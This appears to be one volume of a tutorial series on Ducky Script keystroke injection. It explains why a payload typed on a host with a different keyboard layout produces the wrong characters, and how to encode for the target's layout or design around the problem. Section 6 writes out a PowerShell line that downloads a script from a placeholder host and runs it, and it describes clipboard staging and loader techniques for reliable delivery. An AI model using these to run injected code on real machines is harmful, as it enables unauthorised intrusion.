Ducky Script · Volume 7

Ducky Script Volume 7 — Keyboard Layouts: The Cross-Locale Problem

Why a payload that 'ran' typed garbage, what scan codes really are, and the discipline for payloads that survive an unknown layout

Contents

SectionTopic
1About this volume
2Scan codes, not characters — how a keyboard really works
3Where it goes wrong — the mismatch
4The character classes, by risk
5The fix: encode for the target’s layout
6Layout-robust payload design
7Per-device layout handling
8A diagnostic checklist
9Resources

1. About this volume

This volume closes Part I (the language) with the single most common practical failure in keystroke injection: the payload ran perfectly and typed the wrong characters. The shell that should have opened didn’t; the path that should have been C:\Users\Public came out as C:&Users)Public; the PowerShell one-liner became syntactically broken nonsense. The payload logic was fine. The layout was wrong.

It is its own volume because (a) it bites everyone, (b) the cause is non-obvious until you understand what a keyboard actually transmits, and (c) the fix is a discipline, not a single command. Every device in Part II inherits this problem; this is the volume that explains it once.


2. Scan codes, not characters — how a keyboard really works

The mental model almost everyone starts with is wrong. A keyboard does not send characters. It sends scan codes — numbers identifying a physical key position. The mapping from “physical key position” to “character” happens on the host, decided by the host’s configured keyboard layout.

   What actually travels over the USB HID interface
   ════════════════════════════════════════════════════════

   You press the key labelled 'A':
     keyboard sends ──► scan code 0x04  ("the key in that
                                          physical position")
   Host receives 0x04, consults ITS layout:
     US layout    ──► 'a'
     French AZERTY──► 'q'      ◄── same physical key!
     Dvorak       ──► 'a'      (Dvorak keeps A)
     German QWERTZ──► 'a'

   The keyboard had NO IDEA what character it produced.
   It only ever said "the key in position X was pressed."
   The HOST decided the character.

This is true of every USB keyboard, real or injected. Your real keyboard “works” only because its physical labels happen to match the host’s configured layout. A keystroke-injection device has no physical labels and no knowledge of the host’s layout — it just emits scan codes, and the host interprets them however it is configured.

STRING Hello in a payload does not mean “make the host show ‘Hello’.” It means “emit the scan-code sequence that produces ‘Hello’ on the layout the payload was encoded for.” Run it on a host with a different layout and the same scan codes produce different characters.


3. Where it goes wrong — the mismatch

The failure is a two-layout mismatch:

   payload encoded for  ──►  Layout A   (e.g. US-QWERTY)

                                 │ produces scan codes that
                                 │ mean what you want ON LAYOUT A

   host actually set to ──►  Layout B   (e.g. French AZERTY)

                                 │ interprets those SAME scan
                                 │ codes by ITS rules

                            garbage — every key whose position
                            differs between A and B is wrong

Crucially: the payload still “runs.” There is no error, no warning. The device emits its scan codes; the host faithfully interprets them; the result is just wrong. This is why it is so confusing the first time — every other kind of payload bug looks like a bug, and this one looks like success.

The size of the damage depends on how different the two layouts are:

  • US-QWERTY vs UK-QWERTY — close. Letters and digits identical; a handful of symbols differ (@, ", #, \, |). A payload of mostly letters survives; one full of shell symbols breaks.
  • US-QWERTY vs French AZERTY — far. Letters move (A↔Q, Z↔W, M relocates), digits need Shift, symbols are scattered. Almost any non-trivial payload breaks badly.
  • US-QWERTY vs German QWERTZ — moderate. Y↔Z swapped, symbols differ. Breaks shell-heavy payloads.

4. The character classes, by risk

Not all characters are equally dangerous across layouts. Ranked by how likely they are to betray you:

ClassCross-layout riskNotes
Lowercase letters a–zLow–moderateidentical across QWERTY variants; moved on AZERTY/QWERTZ/Dvorak
Digits 0–9 (unshifted)Low–moderateidentical on QWERTY variants; require Shift on AZERTY
Space, Enter, Tab, arrowsNonenamed keys (Vol 3 §6) are physical positions — layout-independent. This is the safe core.
Common punctuation . , / -Moderatepositions shift between layout families
Shell metacharacters `\ /: ; ” ’ ~ $ & < >HIGH
@ # ^ { } [ ]HIGHnotoriously mobile; @ and \ are classic breakers
   The cruel irony
   ════════════════════════════════════════════════════════

   The characters MOST likely to break across layouts are
   exactly the ones a useful payload is BUILT from:

     powershell -Command "Invoke-WebRequest ..."
                ▲        ▲▲              ▲   ▲
                │        ││              │   └─ ( )
                │        │└─ "           └───── - 
                └─ -     └── space (safe!)

   A payload of pure prose survives a layout mismatch.
   A payload that does anything useful is full of the
   high-risk class. That's why this matters.

The named keys row is the bright spot and the basis of §6: ENTER, TAB, the arrows, GUI, CTRL etc. address physical positions, so they are layout-independent. A payload built mostly from named-key navigation is far more portable than one built from typed symbols.


5. The fix: encode for the target’s layout

The primary fix is direct: encode the payload for the layout the target actually uses. The encoder (the duckencoder, Payload Studio, the device’s encode step — Vol 12) takes a layout parameter, and it produces the scan-code stream that yields your intended characters on that layout.

   The encode step IS the layout decision
   ════════════════════════════════════════════════════════

   payload.txt  +  layout: US     ──► inject.bin  (correct on US hosts)
   payload.txt  +  layout: FR     ──► inject.bin  (correct on FR hosts)
   payload.txt  +  layout: DE     ──► inject.bin  (correct on DE hosts)

   SAME payload.txt. DIFFERENT inject.bin per layout.
   The payload source is layout-neutral; the ENCODED
   artifact is layout-specific.

So the operational rule: know the target’s keyboard layout before the engagement, and encode for it. In a corporate environment that usually means knowing the region/locale standard. When you genuinely cannot know — a “found USB” scenario, a mixed environment — you fall back to §6 (layout-robust design) or you carry the payload encoded for the two or three most likely layouts and pick on site.


6. Layout-robust payload design

When you cannot guarantee the layout, you design around it. The techniques, most to least effective:

1. Lean on named keys. Named keys are layout-independent (§4). A payload that navigates with GUI, TAB, arrows, ENTER and types as few literal symbols as possible is intrinsically more portable.

2. Detect, don’t assume. Use $_OS (Vol 5) to at least branch on OS — and where the layout correlates with OS/region, that narrows the risk. It is not a full fix (layout ≠ OS), but it is better than a blind assumption.

3. Push the symbol-heavy content through the clipboard. This is the strong one. Instead of typing a symbol-laden command, the payload types a minimal sequence to set the clipboard and paste:

   Typing a shell one-liner directly:
     STRING powershell -Command "iwr http://x/p.ps1 | iex"
            └─ every " - : / | is a layout landmine ─┘

   vs. clipboard-staging it:
     (the long symbol-heavy string is delivered via the
      clipboard — set by an earlier minimal step, or staged
      from ATTACKMODE STORAGE — Vol 6 — then:)
     CTRL v        ◄── CTRL and v: both layout-safe-ish,
     ENTER             and the PAYLOAD CONTENT never got
                       typed key-by-key at all

The principle: minimise the literal symbols that get typed. Whatever delivers the payload body without typing it — clipboard, ATTACKMODE STORAGE carrying a file, a short loader that pulls the real script — sidesteps the layout problem for the hard part.

4. Avoid the worst characters where you have a choice. If a path can be written without a backslash, if a command has a flag form that avoids quotes, prefer it. Small thing, real payoff.

5. Test on the actual target layout. Nothing substitutes for running the encoded payload against a host set to the target layout before the engagement (Vol 12’s testing discipline).


7. Per-device layout handling

The problem is universal; the handling differs by device — full detail in Vols 8-12, the summary here:

DeviceWhere layout is set
USB Rubber Duckyat the encode step — the encoder / Payload Studio takes a layout parameter, baked into inject.bin
Bash Bunnythe payload specifies a language/layout (the Bunny ships with a set of language files); set per payload
Key Crocas a Linux box it has language/layout configuration; the injection part of a payload uses it
O.MGthe web UI’s payload configuration includes the keyboard layout for the injected payload

The constant across all four: layout is a property of the deployed payload, chosen at deploy time, and it must match the target. The device cannot detect the host’s layout and adapt — there is no “what layout are you” query in HID any more than there is “are you a real keyboard.” It is, like timing (Vol 5), something the operator must get right in advance.


8. A diagnostic checklist

When a payload “runs but does the wrong thing,” walk this before assuming a logic bug:

   Is it a layout problem?
   ════════════════════════════════════════════════════════

   □ Did the payload visibly TYPE, but produce wrong characters?
       └─ classic layout mismatch. Not a logic bug.

   □ Are the LETTERS right but the SYMBOLS wrong?
       └─ a near-layout mismatch (US↔UK class). Re-encode for
          the target layout.

   □ Are even the LETTERS scrambled (a→q, z→w)?
       └─ a far-layout mismatch (US↔AZERTY class). Definitely
          re-encode; consider §6 redesign.

   □ Did NAVIGATION work (Enter, Tab, arrows landed right) but
     TYPED TEXT was wrong?
       └─ confirms layout: named keys are layout-independent,
          typed chars are not. Textbook signature.

   □ Did it work on your test machine and fail on the target?
       └─ if your test machine and the target have different
          layouts — there's your answer.

   □ Re-encoded for the right layout and now it works?
       └─ confirmed. Record the target layout in the payload's
          REM header so it never happens again.

The tell that distinguishes a layout bug from a logic bug: with a layout bug, navigation works and typing doesn’t — because named keys are positional and characters are not. If ENTER and TAB and the arrows all landed correctly but the typed strings are garbage, it is the layout, every time.


9. Resources

  • Ducky Script docs — encoding and language/layout selection: https://docs.hak5.org/hak5-usb-rubber-ducky/
  • Vol 3 §6 — named keys (the layout-independent core)
  • Vol 6 §2ATTACKMODE STORAGE and the clipboard-staging pattern that sidesteps typed symbols
  • Vol 12 — the encode/deploy workflow per device, where the layout parameter lives
  • Vol 13 — payload patterns built for layout robustness

This is Volume 7 of an 18-volume series — and the end of Part I (the language). Next, Part II (the devices) opens with Vol 8: the USB Rubber Ducky itself — the Mark I and Mark II hardware, the button and LED and microSD workflow, and why it remains the canonical reference device the whole family is measured against.